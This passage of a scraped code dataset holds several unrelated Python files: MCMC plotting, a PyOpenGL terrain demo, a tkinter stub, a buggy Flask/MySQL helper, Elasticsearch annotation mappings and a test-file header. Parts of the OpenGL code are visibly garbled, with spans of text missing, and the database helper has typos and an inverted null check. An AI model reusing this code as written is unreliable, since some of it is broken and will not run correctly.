alpha=0.5)\n ax.plot(accepted[0:50, 1], 'b.', label='Accepted', alpha=0.5)\n ax.set_xlabel(\"Iteration\")\n ax.set_ylabel(\"Z\")\n ax.set_title(\"MCMC sampling for Z with Metropolis-Hastings. First 50 samples are shown.\")\n ax.grid()\n ax.legend()\n\n ax1 = fig.add_subplot(2, 2, 2)\n ax1.plot(rejected[0:50, 0], 'rx', label='Rejected', alpha=0.5)\n ax1.plot(accepted[0:50, 0], 'b.', label='Accepted', alpha=0.5)\n ax1.set_xlabel(\"Iteration\")\n ax1.set_ylabel(\"R\")\n ax1.set_title(\"MCMC sampling for R with Metropolis-Hastings. First 50 samples are shown.\")\n ax1.grid()\n ax1.legend()\n\n ax2 = fig.add_subplot(2, 2, 3)\n to_show = -accepted.shape[0]\n ax2.plot(rejected[to_show:, 1], 'rx', label='Rejected', alpha=0.5)\n ax2.plot(accepted[to_show:, 1], 'b.', label='Accepted', alpha=0.5)\n ax2.set_xlabel(\"Iteration\")\n ax2.set_ylabel(\"Z\")\n ax2.set_title(\"MCMC sampling for Z with Metropolis-Hastings. All samples are shown.\")\n ax2.grid()\n ax2.legend()\n\n ax3 = fig.add_subplot(2, 2, 4)\n ax3.plot(rejected[to_show:, 1], 'rx', label='Rejected', alpha=0.5)\n ax3.plot(accepted[to_show:, 1], 'b.', label='Accepted', alpha=0.5)\n ax3.set_xlabel(\"Iteration\")\n ax3.set_ylabel(\"Z\")\n ax3.set_title(\"MCMC sampling for R with Metropolis-Hastings. All samples are shown.\")\n ax3.grid()\n ax3.legend()\n\n fig.tight_layout()\n plt.show()\n\n # Figure 6: plot the trace and resulting histogram\n\n show = int(-0.75 * accepted.shape[0])\n hist_show = int(-0.75 * accepted.shape[0])\n gs = gridspec.GridSpec(2, 2)\n\n fig = plt.figure(figsize=(20, 10))\n ax = fig.add_subplot(gs[0, :]) # row 0, col 0\n ax.plot(accepted[:, 1], label='Z')\n ax.plot(accepted[:, 0], label='R')\n ax.set_title(\"Trace for R and Z\")\n ax.set_ylabel(\"Value\")\n ax.set_xlabel(\"Iteration\")\n ax.legend()\n\n ax = fig.add_subplot(gs[1, 0])\n ax.hist(accepted[hist_show:, 1], bins=40, density=True)\n ax.set_ylabel(\"Frequency (normed)\")\n ax.set_xlabel(\"Z\")\n ax.set_title(\"Z Histograms\")\n\n ax = fig.add_subplot(gs[1, 1])\n ax.hist(accepted[hist_show:, 0], bins=40, density=True, color='orange')\n ax.set_ylabel(\"Frequency (normed)\")\n ax.set_xlabel(\"R\")\n ax.set_title(\"R Histogram\")\n\n fig.tight_layout()\n ax.grid(\"off\")\n plt.show()\n return\n\n","sub_path":"scripts/plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":5232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"492698055","text":"from math import *\r\nfrom OpenGL.GL import *\r\nfrom OpenGL.GLU import *\r\nfrom OpenGL.GLUT import *\r\nfrom PIL import Image\r\nfrom linear_algebra import *\r\nimport numpy as np\r\nimport numpy.random as rnd\r\nfrom random import randint\r\nimport time\r\n\r\nwindow_width = 800\r\nwindow_height = 600\r\n\r\ncamPos = (1,1,1)\r\ncamDir = (1,1,0)\r\ncamUp = (0,0,1)\r\ncamMode = False\r\n\r\nobjPos = (1,1,1)\r\nobjDir = (1,1,0)\r\nobjMass = 1\r\nobjVel = (0,0,0)\r\n\r\nmg = VxR((0,0,-1),objMass*0.1)\r\n\r\nimage = Image.open(\"map.bmp\")\r\nwidth = image.size[0]\r\nheight = image.size[1]\r\npix = image.load()\r\n\r\nheights = np.array([[0 for i in range(width)] for i in range(height)],dtype=np.float)\r\nfor x in range(width):\r\n for y in range(height):\r\n heights[x,y] = pix[x,y]/10\r\nmap = heights\r\nspheres = np.array([((randint(1,10),randint(1,10)),0.5) for i in range(10)])\r\n\r\ndef loadImage(imageName):\r\n im = Image.open(imageName)\r\n try:\r\n ix, iy, image = im.size[0], im.size[1], im.tobytes(\"raw\", \"RGB\", 0, -1)\r\n except SystemError:\r\n ix, iy, image = im.size[0], im.size[1], im.tobytes(\"raw\", \"RGB\", 0, -1)\r\n glEnable(GL_TEXTURE_2D)\r\n ID = glGenTextures(1)\r\n glBindTexture(GL_TEXTURE_2D, ID)\r\n\r\n glTexEnvi(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_MODULATE)\r\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR)\r\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR)\r\n\r\n glTexImage2D(GL_TEXTURE_2D, 0, 3, ix, iy, 0, GL_RGB, GL_UNSIGNED_BYTE, image)\r\n return ID\r\n\r\ndef landscape(map):\r\n global texID\r\n k=8.0\r\n for x in range(1,128,2):\r\n for y in range(1,128,2):\r\n glBegin(GL_TRIANGLE_FAN)\r\n glColor3f(1,1,1)\r\n glTexCoord2f((x%k)/k, (y%k)/k)\r\n glVertex3d( x, y, map[x,y])\r\n\r\n glTexCoord2f(((x-1)%k)/k, (y%k)/k)\r\n glVertex3d( x-1, y, map[x-1,y])\r\n\r\n glTexCoord2f(((x-1)%k)/k, ((y-1)%k)/k)\r\n glVertex3d( x-1, y-1, map[x-1,y-1])\r\n\r\n glTexCoord2f(((x)%k)/k, ((y-1)%k)/k)\r\n glVertex3d( x, y-1, map[x,y-1])\r\n\r\n glTexCoord2f(((x+1)%k)/k if ((x+1)%k)!=0 else 1, ((y-1)%k)/k)\r\n glVertex3d( x+1, y-1, map[x+1,y-1])\r\n\r\n glTexCoord2f(((x+1)%k)/k if ((x+1)%k)!=0 else 1, ((y)%k)/k)\r\n glVertex3d( x+1, y, map[x+1,y])\r\n\r\n glTexCoord2f(((x+1)%k)/k if ((x+1)%k)!=0 else 1, ((y+1)%k)/k if ((y+1)%k)!=0 else 1)\r\n glVertex3d( x+1, y+1, map[x+1,y+1])\r\n\r\n glTexCoord2f(((x)%k)/k,((y+1)%k)/k if ((y+1)%k)!=0 else 1)\r\n glVertex3d( x, y+1, map[x,y+1])\r\n\r\n glTexCoord2f(((x-1)%k)/k, ((y+1)%k)/k if ((y+1)%k)!=0 else 1)\r\n glVertex3d( x-1, y+1, map[x-1,y+1])\r\n\r\n glTexCoord2f(((x-1)%k)/k, ((y)%k)/k)\r\n glVertex3d( x-1, y, map[x-1,y])\r\n glEnd()\r\n\r\ndef init():\r\n global lasttime,texID,n,spheres\r\n glEnable(GL_DEPTH_TEST)\r\n glClearColor(1.0, 1.0, 1.0, 1.0) # Белый цвет для первоначальной закраски\r\n # Задаем перспективу\r\n #gluOrtho2D(-1.0, 1.0, -1.0, 1.0) # Определяем границы рисования по горизонтали и вертикали\r\n global anglex, angley, anglez, filled\r\n filled = 0\r\n lasttime = time.time()\r\n texID = loadImage(\"map2.bmp\")\r\n\r\n n = glGenLists(1)\r\n glNewList(n, GL_COMPILE)\r\n landscape(heights)\r\n glEndList()\r\n\r\n# Процедура обработки обычных клавиш\r\ndef keyboardkeys(key, x, y):\r\n global filled,camDir,camUp,camPos,objPos,objDir,objVel,camMode,spheres,pos, dtime, force\r\n if camMode:\r\n if key == b'\\x1b':\r\n sys.exit(0)\r\n if key == b's':\r\n m = MRot(VxV(camDir,camUp),-0.1)\r\n camUp = MxV(m,camUp)\r\n camDir = MxV(m,camDir)\r\n if key == b'w':\r\n m = MRot(VxV(camDir,camUp),0.1)\r\n camUp = MxV(m,camUp)\r\n camDir = MxV(m,camDir)\r\n if key == b'q':\r\n camUp = MxV(MRot(camDir,0.1),camUp)\r\n if key == b'e':\r\n camUp = MxV(MRot(camDir,-0.1),camUp)\r\n if key == b'a':\r\n camDir = MxV(MRot(camUp,-0.1),camDir)\r\n if key == b'd':\r\n camDir = MxV(MRot(camUp,0.1),camDir)\r\n if key == b'-':\r\n camPos = VminusV(camPos,VxR(camDir,1))\r\n if key == b'=':\r\n camPos = VplusV(camPos,VxR(camDir,1))\r\n\r\n if key == b'i':\r\n objPos=VplusV(objPos,VxR(objDir,0.00001))\r\n if key == b'k':\r\n objPos=VminusV(objPos,VxR(objDir,0.00001))\r\n if key == b'j':\r\n objDir = MxV(MRot((0,0,1),-0.1),objDir)\r\n if key == b'l':\r\n objDir = MxV(MRot((0,0,1),0.1),objDir)\r\n if key == b'c':\r\n camMode = not camMode\r\n if key == b' ':\r\n filled = 1 - filled\r\n else:\r\n\r\n if key == b'\\x1b':\r\n sys.exit(0)\r\n if key == b'y':\r\n force = VxR(objDir,1.1)\r\n tforce = VplusV(mg,force)\r\n a = acceleration(objPos,tforce)\r\n nvel = VxR(a,dtime)\r\n objVel = VplusV(objVel,nvel)\r\n objPos=VplusV(objPos,VxR(objVel,dtime))\r\n if key == b'h':\r\n force = VxR(objDir,-1.1)\r\n tforce = VplusV(mg,force)\r\n a = acceleration(objPos,tforce)\r\n nvel = VxR(a,dtime)\r\n objVel = VplusV(objVel,nvel)\r\n objPos=VplusV(objPos,VxR(objVel,dtime))\r\n if key == b'i':\r\n objPos= VplusV(objPos,VxR(objDir,1))\r\n objVel=(0,0,0)\r\n camPos = VplusV(VminusV((objPos[0],objPos[1],getappl(objPos[0],objPos[1])),objDir),(0,0,1))\r\n if key == b'k':\r\n objPos= VminusV(objPos,VxR(objDir,1))\r\n objVel=(0,0,0)\r\n camPos = VplusV(VminusV((objPos[0],objPos[1],getappl(objPos[0],objPos[1])),objDir),(0,0,1))\r\n if key == b'j':\r\n temp = MxV(MRot((0,0,1),-0.1),objDir)\r\n objDir = temp\r\n camDir = temp\r\n if key == b'l':\r\n temp = MxV(MRot((0,0,1),0.1),objDir)\r\n objDir = temp\r\n camDir = temp\r\n if key == b'c':\r\n camMode = not camMode\r\n if key == b'g':\r\n shoot(pos,objDir,spheres)\r\n if key == b' ':\r\n filled = 1 - filled\r\n #glutPostRedisplay() # Вызываем процедуру перерисовки\r\n\r\ndef cilinder():\r\n R = 0.5\r\n\r\n glBegin(GL_TRIANGLE_FAN)\r\n\r\n glVertex3d( 0, 0, -0.5)\r\n for i in range(21):\r\n glVertex3d(R * cos(2*pi*i/20), \\\r\n R * sin(2*pi*i/20), -0.5)\r\n\r\n glEnd()\r\n\r\n glBegin(GL_QUAD_STRIP)\r\n\r\n for i in range(21):\r\n glVertex3d(R * cos(2*pi*i/20), \\\r\n R * sin(2*pi*i/20), -0.5)\r\n glVertex3d(R * cos(2*pi*i/20), \\\r\n R * sin(2*pi*i/20), 0.5)\r\n\r\n glEnd()\r\n\r\n glBegin(GL_TRIANGLE_FAN)\r\n\r\n glVertex3d( 0, 0, 0.5)\r\n for i in range(21):\r\n glVertex3d(R * cos(2*pi*i/20), \\\r\n R * sin(2*pi*i/20), 0.5)\r\n\r\n glEnd()\r\ndef conus():\r\n R = 0.5\r\n\r\n glBegin(GL_TRIANGLE_FAN)\r\n\r\n glVertex3d( 0, 0, -0.5)\r\n for i in range(21):\r\n glVertex3d(R * cos(2*pi*i/20), \\\r\n R * sin(2*pi*i/20), -0.5)\r\n\r\n glEnd()\r\n\r\n glBegin(GL_TRIANGLE_FAN)\r\n\r\n glVertex3d( 0, 0, 0.5)\r\n for i in range(21):\r\n glVertex3d(R * cos(2*pi*i/20), \\\r\n R * sin(2*pi*i/20), -0.5)\r\n\r\n glEnd()\r\ndef sphere():\r\n R = 0.5\r\n\r\n for j in range(-9,9):\r\n glBegin(GL_QUAD_STRIP)\r\n\r\n for i in range(21):\r\n glVertex3d(R * cos(pi*j/18) * cos(2*pi*i/20), \\\r\n R * cos(pi*j/18) * sin(2*pi*i/20), \\\r\n R * sin(pi*j/18))\r\n glVertex3d(R * cos(pi*(j+1)/18) * cos(2*pi*i/20), \\\r\n R * cos(pi*(j+1)/18) * sin(2*pi*i/20), \\\r\n R * sin(pi*(j+1)/18))\r\n\r\n glEnd()\r\ndef sphere2(x,y,z,r):\r\n R = r\r\n glColor3d(0,0,0)\r\n for j in range(-9,9):\r\n glBegin(GL_QUAD_STRIP)\r\n\r\n for i in range(21):\r\n glVertex3d(x+R * cos(pi*j/18) * cos(2*pi*i/20), \\\r\n y+R * cos(pi*j/18) * sin(2*pi*i/20), \\\r\n z+R * sin(pi*j/18))\r\n glVertex3d(x+R * cos(pi*(j+1)/18) * cos(2*pi*i/20), \\\r\n y+R * cos(pi*(j+1)/18) * sin(2*pi*i/20), \\\r\n z+R * sin(pi*(j+1)/18))\r\n\r\n glEnd()\r\ndef thor():\r\n R = 0.5\r\n R2 = R * 0.3\r\n\r\n for i in range(20):\r\n glBegin(GL_QUAD_STRIP)\r\n\r\n for j in range(21):\r\n glVertex3d((R + R2 * cos(2*pi*j/20)) * cos(2*pi*i/20), \\\r\n (R + R2 * cos(2*pi*j/20)) * sin(2*pi*i/20), \\\r\n R2 * sin(2*pi*j/20))\r\n glVertex3d((R + R2 * cos(2*pi*j/20)) * cos(2*pi*(i+1)/20), \\\r\n (R + R2 * cos(2*pi*j/20)) * sin(2*pi*(i+1)/20), \\\r\n R2 * sin(2*pi*j/20))\r\n\r\n glEnd()\r\ndef cube():\r\n glBegin(GL_QUADS)\r\n\r\n glVertex3d( 0.5, 0.5, 0.5)\r\n glVertex3d(-0.5, 0.5, 0.5)\r\n glVertex3d(-0.5, -0.5, 0.5)\r\n glVertex3d( 0.5, -0.5, 0.5)\r\n\r\n glVertex3d( 0.5, 0.5,-0.5)\r\n glVertex3d(-0.5, 0.5,-0.5)\r\n glVertex3d(-0.5, -0.5,-0.5)\r\n glVertex3d( 0.5, -0.5,-0.5)\r\n\r\n glVertex3d( 0.5, 0.5, 0.5)\r\n glVertex3d( 0.5, 0.5,-0.5)\r\n glVertex3d( 0.5, -0.5,-0.5)\r\n glVertex3d( 0.5, -0.5, 0.5)\r\n\r\n glVertex3d(-0.5, 0.5, 0.5)\r\n glVertex3d(-0.5, 0.5,-0.5)\r\n glVertex3d(-0.5, -0.5,-0.5)\r\n glVertex3d(-0.5, -0.5, 0.5)\r\n\r\n glVertex3d( 0.5, 0.5, 0.5)\r\n glVertex3d( 0.5, 0.5,-0.5)\r\n glVertex3d(-0.5, 0.5,-0.5)\r\n glVertex3d(-0.5, 0.5, 0.5)\r\n\r\n glVertex3d( 0.5, -0.5, 0.5)\r\n glVertex3d( 0.5, -0.5,-0.5)\r\n glVertex3d(-0.5, -0.5,-0.5)\r\n glVertex3d(-0.5, -0.5, 0.5)\r\n\r\n glEnd()\r\ndef cube2(x,y,z):\r\n glBegin(GL_QUADS)\r\n\r\n glVertex3d( 0.5+x, 0.5+y, 0.5+z)\r\n glVertex3d(-0.5+x, 0.5+y, 0.5+z)\r\n glVertex3d(-0.5+x, -0.5+y, 0.5+z)\r\n glVertex3d( 0.5+x, -0.5+y, 0.5+z)\r\n\r\n glVertex3d( 0.5+x, 0.5+y,-0.5+z)\r\n glVertex3d(-0.5+x, 0.5+y,-0.5+z)\r\n glVertex3d(-0.5+x, -0.5+y,-0.5+z)\r\n glVertex3d( 0.5+x, -0.5+y,-0.5+z)\r\n\r\n glVertex3d( 0.5+x, 0.5+y, 0.5+z)\r\n glVertex3d( 0.5+x, 0.5+y,-0.5+z)\r\n glVertex3d( 0.5+x, -0.5+y,-0.5+z)\r\n glVertex3d( 0.5+x, -0.5+y, 0.5+z)\r\n\r\n glVertex3d(-0.5+x, 0.5+y, 0.5+z)\r\n glVertex3d(-0.5+x, 0.5+y,-0.5+z)\r\n glVertex3d(-0.5+x, -0.5+y,-0.5+z)\r\n glVertex3d(-0.5+x, -0.5+y, 0.5+z)\r\n\r\n glVertex3d( 0.5+x, 0.5+y, 0.5+z)\r\n glVertex3d( 0.5+x, 0.5+y,-0.5+z)\r\n glVertex3d(-0.5+x, 0.5+y,-0.5+z)\r\n glVertex3d(-0.5+x, 0.5+y, 0.5+z)\r\n\r\n glVertex3d( 0.5+x, -0.5+y, 0.5+z)\r\n glVertex3d( 0.5+x, -0.5+y,-0.5+z)\r\n glVertex3d(-0.5+x, -0.5+y,-0.5+z)\r\n glVertex3d(-0.5+x, -0.5+y, 0.5+z)\r\n\r\n glEnd()\r\n\r\ndef plane(p1,p2,p3):\r\n if p1[0]<0 or p1[1]<0 or p2[0]<0 or p2[1]<0 or p3[0]<0 or p3[1]<0 or p1[0]>128 or p1[1]>128 or p2[0]>128 or p2[1]>128 or p3[0]>128 or p3[1]>128:\r\n return (0,0,1,-1)\r\n else:\r\n v1=VminusV((p2[0],p2[1],heights[p2[0],p2[1]]),(p1[0],p1[1],heights[p1[0],p1[1]]))\r\n v2=VminusV((p3[0],p3[1],heights[p3[0],p3[1]]),(p1[0],p1[1],heights[p1[0],p1[1]]))\r\n n=VxV(v1,v2)\r\n point=(p1[0],p1[1],heights[p1[0],p1[1]])\r\n d=-(VdotV(n,point))\r\n return (*n,d)\r\n\r\ndef normal(x,y):\r\n if (int(x)+int(y))%2==0:\r\n if x%1128 or y<0 or y>128:\r\n return 1\r\n else:\r\n if (int(x)+int(y))%2==0:\r\n if x%1=0:\r\n mindist = cur\r\n mini = i\r\n return clist[mini]\r\n\r\ndef shoot(pos,dir,clist):\r\n for c in clist:\r\n if dist(c[0],pos,dir)getappl(camPos[0],camPos[1]):\r\n camPos = (temp[0],temp[1],getappl(objPos[0],objPos[1])+0.5)\r\n else:\r\n camPos = (temp[0],temp[1],getappl(camPos[0],camPos[1])+0.5)\r\n camDir = objDir\r\n camUp = (0,0,1)\r\n gluLookAt(*camPos, # Положение камеры\r\n *VplusV(camPos,camDir), # Точка, на которую смотрит камера\r\n *camUp) # Направление \"верх\" камеры\r\n\r\n glBindTexture(GL_TEXTURE_2D, texID)\r\n\r\n #landscape(heights)\r\n glCallList(n)\r\n\r\n force = (0,0,0)\r\n tforce = VplusV(mg,force)\r\n a = acceleration(objPos,tforce)\r\n nvel = VxR(a,dtime)\r\n objVel = VplusV(objVel,nvel)\r\n objVel = VxR(objVel,0.9999)\r\n if VAbs(objVel)<(0.0001,0.0001,0.0001):\r\n objVel=(0,0,0)\r\n objPos=VplusV(objPos,objVel)\r\n\r\n pos=(objPos[0],objPos[1],getappl(objPos[0],objPos[1])+0.5)\r\n\r\n if pos[0]>128 or pos[0]<0 or pos[1]>128 or pos[1]<0:\r\n objVel=VxR(objVel,-0.3)\r\n print(objVel)\r\n sphere2(*pos,0.5)\r\n\r\n #print(hor((objPos[0],objPos[1],getappl(objPos[0],objPos[1])+0.5),(1,0,1)))\r\n #drawlist(spheres)\r\n\r\n glBegin(GL_LINES)\r\n glVertex3d(*pos)\r\n glVertex3d(1,0,1)\r\n\r\n glVertex3d(*pos)\r\n glVertex3d(*VplusV(pos,objDir))\r\n glEnd()\r\n\r\n glMatrixMode(GL_PROJECTION) # Выбираем матрицу проекций\r\n glLoadIdentity()\r\n glMatrixMode(GL_MODELVIEW) # Выбираем модельно-видовую матрицу\r\n glLoadIdentity()\r\n\r\n glPolygonMode(GL_FRONT_AND_BACK, GL_LINE)\r\n glBegin(GL_QUADS)\r\n glVertex3d(-0.1,-0.1,0)\r\n glVertex3d(0.1,-0.1,0)\r\n glVertex3d(0.1,0.1,0)\r\n glVertex3d(-0.1,0.1,0)\r\n glEnd()\r\n glPolygonMode(GL_FRONT_AND_BACK, GL_FILL)\r\n\r\n if filled == 0:\r\n glPolygonMode(GL_FRONT_AND_BACK, GL_FILL)\r\n else:\r\n glPolygonMode(GL_FRONT_AND_BACK, GL_LINE)\r\n\r\n\r\n #if dtime!=0:\r\n # print(1/dtime)\r\n\r\n glutSwapBuffers() # Меняем буферы\r\n glutPostRedisplay() # Вызываем процедуру перерисовки\r\n\r\nglutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB | GLUT_DEPTH)\r\nglutInitWindowSize(window_width, window_height)\r\nglutInitWindowPosition(50, 50)\r\nglutInit(sys.argv)\r\nglutCreateWindow(b\"OpenGL Second Program!\")\r\n# Определяем процедуру, отвечающую за рисование\r\nglutDisplayFunc(draw)\r\n# Определяем процедуру, отвечающую за обработку обычных клавиш\r\nglutKeyboardFunc(keyboardkeys)\r\n# Вызываем нашу функцию инициализации\r\n\r\ninit()\r\nglutMainLoop()\r\n","sub_path":"landscape.py","file_name":"landscape.py","file_ext":"py","file_size_in_byte":17449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"382887846","text":"import tkinter as tk\r\n\r\nclass ExistingOrders(tk.Frame):\r\n\r\n def __init__(self, parent, controller):\r\n super().__init__(parent)\r\n self.controller=controller\r\n\r\n btnRegister = tk.Button(self, text=\"Load Current Order\", command=lambda: controller.show(\"CustomerDash\"))\r\n btnRegister.grid(row=0, column=1)\r\n\r\n lblCollection = tk.Label(self, text=\"Pickup Point:\")\r\n lblCollection.grid(row=1, column=0)\r\n\r\n lblCollectionI = tk.Label(self, text=\"Pickup Point Shown Here\")\r\n lblCollectionI.grid(row=1, column=1)\r\n \r\n lblDropoff = tk.Label(self, text=\"Dropoff Point:\")\r\n lblDropoff.grid(row=2, column=0)\r\n\r\n lblDropoffI = tk.Label(self, text=\"Dropoff Point Shown Here\")\r\n lblDropoffI.grid(row=2, column=1)\r\n\r\n\r\n\r\n ## it should be self explanatory but this should delete the data for the current order\r\n btnRegister = tk.Button(self, text=\"Cancel Order\", command=lambda: controller.show(\"CustomerDash\"))\r\n btnRegister.grid(row=3, column=1)\r\n","sub_path":"ExistingOrders.py","file_name":"ExistingOrders.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"631525221","text":"import sql.connector\nimport click\nfrom flask import current_app, g\nfrom flask.cli import with_appcontext\nfrom .schema import instruccions\n\ndef get_db():\n if 'db' not in g:\n g.db = mysql.connector.connet(\n host=current_app.config['DATABASE_HOST'],\n user=current_app.config['DATABASE_USER'],\n password=current_app.config['DATABASE_PASSWORD'],\n database=current_app.config['DATABASE'], \n )\n g.c = g.db.cursor(dictionary=True)\n return g.db, g.c\n\n\n# cierra la db cada vez que termina la peticion\n\ndef close_db(e=None):\n db = g.pop('db', None) \n \n if db is None:\n db.close()\n\ndef init_db():\n db, c = get_db()\n\n for i in instruccions:\n c.execute(i)\n\n db.commit()\n\n@click.commant('init-db')\n@with_appcontext \n\ndef init_db_command():\n init_db()\n click.echo('Base de datos inicializada')\n\n\ndef init_app(app):\n app.teardown_appcontext(close_db)\n app.cli.add_command(init_db_command)\n\n","sub_path":"todo/__pycache__/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"541032799","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom annotator import annotation\nfrom annotator import document\n\nfrom h._compat import text_type\n\n\nclass Annotation(annotation.Annotation):\n __mapping__ = {\n 'annotator_schema_version': {'type': 'string'},\n 'created': {'type': 'date'},\n 'updated': {'type': 'date'},\n 'quote': {'type': 'string', 'analyzer': 'uni_normalizer'},\n 'tags': {'type': 'string', 'analyzer': 'uni_normalizer'},\n 'text': {'type': 'string', 'analyzer': 'uni_normalizer'},\n 'deleted': {'type': 'boolean'},\n 'uri': {\n 'type': 'string',\n 'index_analyzer': 'uri',\n 'search_analyzer': 'uri',\n 'fields': {\n 'parts': {\n 'type': 'string',\n 'index_analyzer': 'uri_parts',\n 'search_analyzer': 'uri_parts',\n },\n },\n },\n 'user': {'type': 'string', 'index': 'analyzed', 'analyzer': 'user'},\n 'target': {\n 'properties': {\n 'source': {\n 'type': 'string',\n 'index_analyzer': 'uri',\n 'search_analyzer': 'uri',\n 'copy_to': ['uri'],\n },\n # We store the 'scope' unanalyzed and only do term filters\n # against this field.\n 'scope': {\n 'type': 'string',\n 'index': 'not_analyzed',\n },\n 'selector': {\n 'properties': {\n 'type': {'type': 'string', 'index': 'no'},\n\n # Annotator XPath+offset selector\n 'startContainer': {'type': 'string', 'index': 'no'},\n 'startOffset': {'type': 'long', 'index': 'no'},\n 'endContainer': {'type': 'string', 'index': 'no'},\n 'endOffset': {'type': 'long', 'index': 'no'},\n\n # Open Annotation TextQuoteSelector\n 'exact': {\n 'path': 'just_name',\n 'type': 'string',\n 'fields': {\n 'quote': {\n 'type': 'string',\n 'analyzer': 'uni_normalizer',\n },\n },\n },\n 'prefix': {'type': 'string'},\n 'suffix': {'type': 'string'},\n\n # Open Annotation (Data|Text)PositionSelector\n 'start': {'type': 'long'},\n 'end': {'type': 'long'},\n }\n }\n }\n },\n 'permissions': {\n 'index_name': 'permission',\n 'properties': {\n 'read': {'type': 'string'},\n 'update': {'type': 'string'},\n 'delete': {'type': 'string'},\n 'admin': {'type': 'string'}\n }\n },\n 'references': {'type': 'string'},\n 'document': {\n 'enabled': False, # indexed explicitly by the save function\n },\n 'thread': {\n 'type': 'string',\n 'analyzer': 'thread'\n },\n 'group': {\n 'type': 'string',\n }\n }\n __analysis__ = {\n 'char_filter': {\n 'strip_scheme': {\n 'type': 'pattern_replace',\n 'pattern': r'^(?:[A-Za-z][A-Za-z.+-]+:)?/{0,3}',\n 'replacement': '',\n },\n },\n 'filter': {\n 'path_url': {\n 'type': 'pattern_capture',\n 'preserve_original': 'false',\n 'patterns': [\n r'([0-9.\\-A-Za-z]+(?::\\d+)?(?:/[^?#]*))?',\n ],\n },\n 'rstrip_slash': {\n 'type': 'pattern_replace',\n 'pattern': '/$',\n 'replacement': '',\n },\n 'user': {\n 'type': 'pattern_capture',\n 'preserve_original': 'true',\n 'patterns': ['^acct:((.+)@.*)$']\n }\n },\n 'tokenizer': {\n 'uri_part': {\n 'type': 'pattern',\n 'pattern': r'[#+/:=?.-]|(?:%2[3BF])|(?:%3[ADF])',\n }\n },\n 'analyzer': {\n 'thread': {\n 'tokenizer': 'path_hierarchy'\n },\n 'uri': {\n 'tokenizer': 'keyword',\n 'char_filter': ['strip_scheme'],\n 'filter': ['path_url', 'rstrip_slash', 'lowercase'],\n },\n 'uri_parts': {\n 'tokenizer': 'uri_part',\n 'filter': ['unique'],\n },\n 'user': {\n 'tokenizer': 'keyword',\n 'filter': ['user', 'lowercase']\n },\n 'uni_normalizer': {\n 'tokenizer': 'icu_tokenizer',\n 'filter': ['icu_folding']\n }\n }\n }\n\n @classmethod\n def get_analysis(cls):\n return cls.__analysis__\n\n @property\n def uri(self):\n \"\"\"Return this annotation's URI or an empty string.\n\n The uri is escaped and safe to be rendered.\n\n The uri is a Markup object so it won't be double-escaped.\n\n \"\"\"\n uri_ = self.get(\"uri\")\n if uri_:\n # Convert non-string URIs into strings.\n # If the URI is already a unicode string this will do nothing.\n # We're assuming that URI cannot be a byte string.\n return text_type(uri_)\n else:\n return \"\"\n\n @property\n def parent(self):\n \"\"\"\n Return the thread parent of this annotation, if it exists.\n \"\"\"\n if 'references' not in self:\n return None\n if not isinstance(self['references'], list):\n return None\n if not self['references']:\n return None\n return Annotation.fetch(self['references'][-1])\n\n @property\n def target_links(self):\n \"\"\"A list of the URLs to this annotation's targets.\"\"\"\n links = []\n targets = self.get(\"target\")\n if isinstance(targets, list):\n for target in targets:\n if not isinstance(target, dict):\n continue\n source = target.get(\"source\")\n if source is None:\n continue\n links.append(source)\n return links\n\n @property\n def document(self):\n return self.get(\"document\", {})\n\n\nclass Document(document.Document):\n __analysis__ = {}\n\n @classmethod\n def get_analysis(cls):\n return cls.__analysis__\n\n @classmethod\n def get_mapping(cls):\n mapping = super(Document, cls).get_mapping()\n mapping['document']['date_detection'] = False\n return mapping\n","sub_path":"h/api/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"137871234","text":"n = int(input())\r\nfor i in range(1, n + 1):\r\n print(i)\r\n\r\n'''\r\nhttps://pintia.cn/problem-sets/14/problems/733\r\n\r\n基础编程题目集\r\n760 分\r\n函数题共 13 小题,共计 185 分\r\n编程题共 38 小题,共计 575 分\r\n函数题\r\n编程题\r\n6-1 简单输出整数(10 分)\r\n本题要求实现一个函数,对给定的正整数N,打印从1到N的全部正整数。\r\n\r\n函数接口定义:\r\nvoid PrintN ( int N );\r\n其中N是用户传入的参数。该函数必须将从1到N的全部正整数顺序打印出来,每个数字占1行。\r\n\r\n裁判测试程序样例:\r\n#include \r\n\r\nvoid PrintN ( int N );\r\n\r\nint main ()\r\n{\r\n int N;\r\n\r\n scanf(\"%d\", &N);\r\n PrintN( N );\r\n\r\n return 0;\r\n}\r\n\r\n/* 你的代码将被嵌在这里 */\r\n输入样例:\r\n3\r\n输出样例:\r\n1\r\n2\r\n3\r\n'''\r\n","sub_path":"AIM2018_601_700/A619PTA.py","file_name":"A619PTA.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"613396958","text":"#!/usr/bin/env python\n#\n# cli.py - Unit test cases for generic COT CLI.\n#\n# September 2013, Glenn F. Matthews\n# Copyright (c) 2013-2015 the COT project developers.\n# See the COPYRIGHT.txt file at the top-level directory of this distribution\n# and at https://github.com/glennmatthews/cot/blob/master/COPYRIGHT.txt.\n#\n# This file is part of the Common OVF Tool (COT) project.\n# It is subject to the license terms in the LICENSE.txt file found in the\n# top-level directory of this distribution and at\n# https://github.com/glennmatthews/cot/blob/master/LICENSE.txt. No part\n# of COT, including this file, may be copied, modified, propagated, or\n# distributed except according to the terms contained in the LICENSE.txt file.\n\n\"\"\"Unit test cases for the COT.cli.CLI class and related functionality.\"\"\"\n\nfrom __future__ import print_function\n\nimport logging\nimport os\nimport os.path\nimport sys\n\ntry:\n import StringIO\nexcept ImportError:\n import io as 